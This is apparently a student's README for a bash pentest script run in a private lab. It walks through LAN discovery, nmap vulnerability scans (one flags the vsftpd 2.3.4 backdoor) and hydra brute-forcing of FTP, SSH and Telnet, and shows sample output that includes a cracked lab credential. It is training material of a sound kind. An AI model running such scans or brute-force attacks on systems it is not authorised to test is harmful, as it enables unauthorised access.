

**This script was written by Reut Klaider-Levy, 7736/12:S11**

Welcome to my PTSCRIPT –

When you will start the script, the first function – LANRANGE will install ipcalc on your linux and will check your network range.

```
(kali㉿kali)-[~/Desktop]
$ bash PTscript.txt
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
ipcalc is already the newest version (0.42-2).
The following package was automatically installed and is no longer required:
  openjdk-11-jre
Use 'sudo apt autoremove' to remove it.
0 upgraded, 0 newly installed, 0 to remove and 1752 not upgraded.
Your Network range is 192.168.154.0/24
Scanning for live hosts on your LAN
```

Second function – NETD – will scan for live hosts on your LAN and will save the results into a file named NETDresults.txt in a directory named PTSCRIPT on your Desktop.

```
Scanning for live hosts on your LAN
All live hosts were saved into NETDResults.txt file
```

Third function – SCAN – will scan your network via nmap to find open ports and vulnerabilities. All results of the scan will be saved to a file name nmapxml.xml and nmapresults.txt, they will be save on PTSCRIPT directory.

```
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-18 13:30 EDT
Nmap scan report for 192.168.154.2
Host is up (0.00033s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
53/tcp    open  tcpwrapped
Nmap scan report for 192.168.154.129
Host is up (0.00032s latency).
All 1000 scanned ports on 192.168.154.129 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)
Nmap scan report for 192.168.154.156
Host is up (0.0016s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
| ftp-vsftpd-backdoor:
|   VULNERABLE:
|   vsFTPD version 2.3.4 backdoor
|     State: VULNERABLE (Exploitable)
|     IDs:  BID:48539  CVE:CVE-2011-2523
|           vsFTPD version 2.3.4 backdoor, this was reported on 2011-07-04.
|     Disclosure date: 2011-07-03
|     Exploit results:
```

```
A List with all network ip's, open port and Vulnerabilities are saved in a file name nmapresults.txt
```

Fourth Function – SPECIFY – this function will ask you to name a userlist by absolute path, and will ask you if you would like to choose existing password list or create a new one via crunch. If you will choose to use crunch – the new list will be save on newpasslist.txt file in PTSCRIPT directory.

```
you can specify a user list by path/home/kali/Desktop/userlist.txt
Would you like to create a password list or use an existing list? Choose create or existing
existing
Please specify an absolute path for a password list/home/kali/Desktop/userlist.txt
```

Fifth(FTPBF), sixth(SSHBf) & seventh(TELNETBF)S functions are the same with 1 change – they brute force via hydra, one will try BF with ftp port and the other with ssh port the third will try BF Telnet . But they will not run until the eighth function will 'call' them too.

```
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes
(this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-18 10:34:53
[DATA] max 16 tasks per 1 server, overall 16 tasks, 36 login tries (l:6/p:6), ~3 tries per task
[DATA] attacking ftp://192.168.154.2:21/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 192.168.154.2 - login "aahberg" - pass "aahberg" - 1 of 36 [child 0] (0/0)
[ATTEMPT] target 192.168.154.2 - login "aahberg" - pass "aachen" - 2 of 36 [child 1] (0/0)
```

Eighth function – BRUTEF – this function will check what port is open on the scan we've made and will 'call' the right function to start her BF on that open port. At the end of the scan, the script will let you know the time took for the scan.

```
[ATTEMPT] target 192.168.152.129 - login "kali" - pass "msfadmin" - 15 of 24 [child 14] (0/0)
[ATTEMPT] target 192.168.152.129 - login "root" - pass "1234" - 16 of 24 [child 15] (0/0)
[21][ftp] host: 192.168.152.129 login: msfadmin password: msfadmin
[ATTEMPT] target 192.168.152.129 - login "root" - pass "kali" - 17 of 24 [child 2] (0/0)
[ATTEMPT] target 192.168.152.129 - login "root" - pass "msfadmin" - 18 of 24 [child 3] (0/0)
[ATTEMPT] target 192.168.152.129 - login "toor" - pass "1234" - 19 of 24 [child 0] (0/0)
[ATTEMPT] target 192.168.152.129 - login "toor" - pass "kali" - 20 of 24 [child 5] (0/0)
```

script scan was 4 seconds

Ninth and final function – RESULTS – will let you know the number of devices found on your LAN, will tell you all the results of the BF were saved on hydraResults.txt on PTSCRIPT directory on your Desktop. And will let you search the file for IP of your choice to see the results on it.

```
script scan was 3 seconds
The number of devices found on this LAN are:
3
The devices saved at /home/kali/Desktop/PTSCRIPT/NETDresults.txt path
Brute Force Results are saved in /home/kali/Desktop/PTSCRIPT/hydraResults.txt
To search an IP results in the Results file, you can write an IP address here:
192.168.154.156
Nmap scan report for 192.168.154.156
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.154.156
| Path: http://192.168.154.156:8180/admin/
i hope you like my script, thank you for choosing Reut PTscript
```

i hope you like my script, thank you for choosing Reut PTscript